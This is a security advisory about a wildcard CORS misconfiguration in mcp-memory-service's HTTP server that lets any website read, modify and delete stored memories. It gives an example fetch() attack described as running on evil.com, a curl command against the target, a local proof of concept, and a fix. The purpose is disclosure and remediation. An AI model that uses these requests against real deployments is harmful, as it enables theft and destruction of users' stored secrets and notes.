mcp-memory-service's Wildcard CORS with Credentials Enables Cross-Origin Memory Theft

Summary

When the HTTP server is enabled (MCP_HTTP_ENABLED=true), the application configures FastAPI's CORSMiddleware with allow_origins=['*'], allow_credentials=True, allow_methods=["*"], and allow_headers=["*"]. The wildcard Access-Control-Allow-Origin: * header permits any website to read API responses cross-origin. When combined with anonymous access (MCP_ALLOW_ANONYMOUS_ACCESS=true) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories.

Details

Vulnerable Code

config.py:546 - Wildcard CORS origin default

CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', '*').split(',')

This produces ['*'] by default, allowing any origin.

app.py:274-280 - CORSMiddleware configuration

# CORS middleware
app.add_middleware(
    CORSMiddleware,
    allow_origins=CORS_ORIGINS,        # ['*'] by default
    allow_credentials=True,             # Unnecessary for anonymous access; bad practice
    allow_methods=["*"],
    allow_headers=["*"],
)

How the Attack Works

The wildcard CORS default means every API response includes Access-Control-Allow-Origin: *. This tells browsers to allow any website to read the response. When combined with anonymous access (no authentication required), the attack is straightforward:

// Running on https://evil.com - reads victim's memories
// No credentials needed - anonymous access means the API is open
const response = await fetch('http://192.168.1.100:8000/api/memories');
const memories = await response.json();
// memories contains every stored memory - passwords, API keys, personal notes

The browser sends the request, the server responds with ACAO: *, and the browser allows the JavaScript to read the response body. No cookies, no auth headers, no credentials of any kind.

Clarification on allow_credentials=True: The advisory originally stated that Starlette reflects the Origin header when allow_credentials=True with wildcard origins. Testing with Starlette 0.52.1 shows that actual responses return ACAO: * (not the reflected origin); only preflight OPTIONS responses reflect the origin. Per the Fetch specification, browsers block ACAO: * when credentials: 'include' is used. However, this is irrelevant to the attack because anonymous access means no credentials are needed - a plain fetch() without credentials: 'include' works, and ACAO: * allows it.

Two Attack Vectors

This misconfiguration enables two distinct attack paths:

1. Cross-origin browser attack (CORS - this advisory)

• Attacker lures victim to a malicious webpage
• JavaScript on the page reads/writes the memory service API
• Works from anywhere on the internet if the victim visits the page
• The ACAO: * header is what allows the browser to expose the response to the attacker's JavaScript

2. Direct network access (compounding factor)

• Attacker on the same network directly calls the API (curl http://<target>:8000/api/memories)
• No CORS involved - CORS is a browser-only restriction
• Enabled by 0.0.0.0 binding + anonymous access, independent of CORS configuration

The CORS misconfiguration specifically enables attack vector #1, extending the reach from local network to anyone who can get the victim to click a link.

Compounding Factors

• HTTP_HOST = '0.0.0.0' - Binds to all interfaces, exposing the service to the entire network (enables attack vector #2)
• HTTPS_ENABLED = 'false' - No TLS by default, allowing passive interception
• MCP_ALLOW_ANONYMOUS_ACCESS - When enabled, no authentication is required at all. This is the key enabler: without it, the CORS wildcard alone would not allow data access (the attacker would need to forward valid credentials, which ACAO: * blocks)
• allow_credentials=True - Bad practice: if a future Starlette version changes to reflect origins (as some CORS implementations do), this would escalate the vulnerability by allowing credential-forwarding attacks against OAuth/API-key users
• API key via query parameter - api_key query param is cached in browser history and server logs

Attack Scenario

1. Victim runs mcp-memory-service with HTTP enabled and anonymous access
2. Victim visits https://evil.com which includes JavaScript
3. JavaScript sends fetch('http://<victim-ip>:8000/api/memories') (no credentials needed)
4. Server responds with Access-Control-Allow-Origin: *
5. Browser allows JavaScript to read the response - attacker receives all memories
6. Attacker's script also calls DELETE/PUT endpoints to modify or destroy memories
7. Victim sees a normal web page; no indication of the attack

Root Cause

The default value of MCP_CORS_ORIGINS is *, which allows any website to read API responses. This is a permissive default that should be restricted to the expected dashboard origin (typically localhost). The allow_credentials=True is an additional misconfiguration that doesn't currently enable the attack.

PoC

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from starlette.testclient import TestClient

app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

@app.get("/api/memories")
def memories():
    return [{"content": "secret memory data"}]

client = TestClient(app)

# Non-credentialed request (how the real attack works with anonymous access)
response = client.get("/api/memories", headers={"Origin": "https://evil.com"})
print(response.headers["access-control-allow-origin"])  # *
print(response.json())  # [{"content": "secret memory data"}]
# Any website can read this response because ACAO is *

Impact

• Complete cross-origin memory access: Any website can read all stored memories when the victim has the HTTP server running with anonymous access
• Memory tampering: Write/delete endpoints are also accessible cross-origin, allowing memory destruction
• Remote attack surface: Unlike direct network access (which requires LAN proximity), the CORS vector works from anywhere on the internet - the victim just needs to visit a link
• Silent exfiltration: The attack is invisible to the victim; no browser warnings, no popups, no indicators

Remediation

Replace the wildcard default with an explicit localhost origin:

# In config.py  (safe default)
CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', 'http://localhost:8000,http://127.0.0.1:8000').split(',')

# In app.py - warn on wildcard
if '*' in CORS_ORIGINS:
    logger.warning("Wildcard CORS origin detected. This allows any website to access the API. "
                    "Set MCP_CORS_ORIGINS to restrict access.")

# Also: set allow_credentials=False unless specific origins are configured
app.add_middleware(
    CORSMiddleware,
    allow_origins=CORS_ORIGINS,
    allow_credentials='*' not in CORS_ORIGINS,  # Only with explicit origins
    allow_methods=["*"],
    allow_headers=["*"],
)

Affected Deployments

The vulnerability exists in the Python source code and is not mitigated by any deployment-specific configuration. Docker HTTP mode is the highest-risk deployment because it explicitly binds to 0.0.0.0, maps the port, and does not override the wildcard CORS default.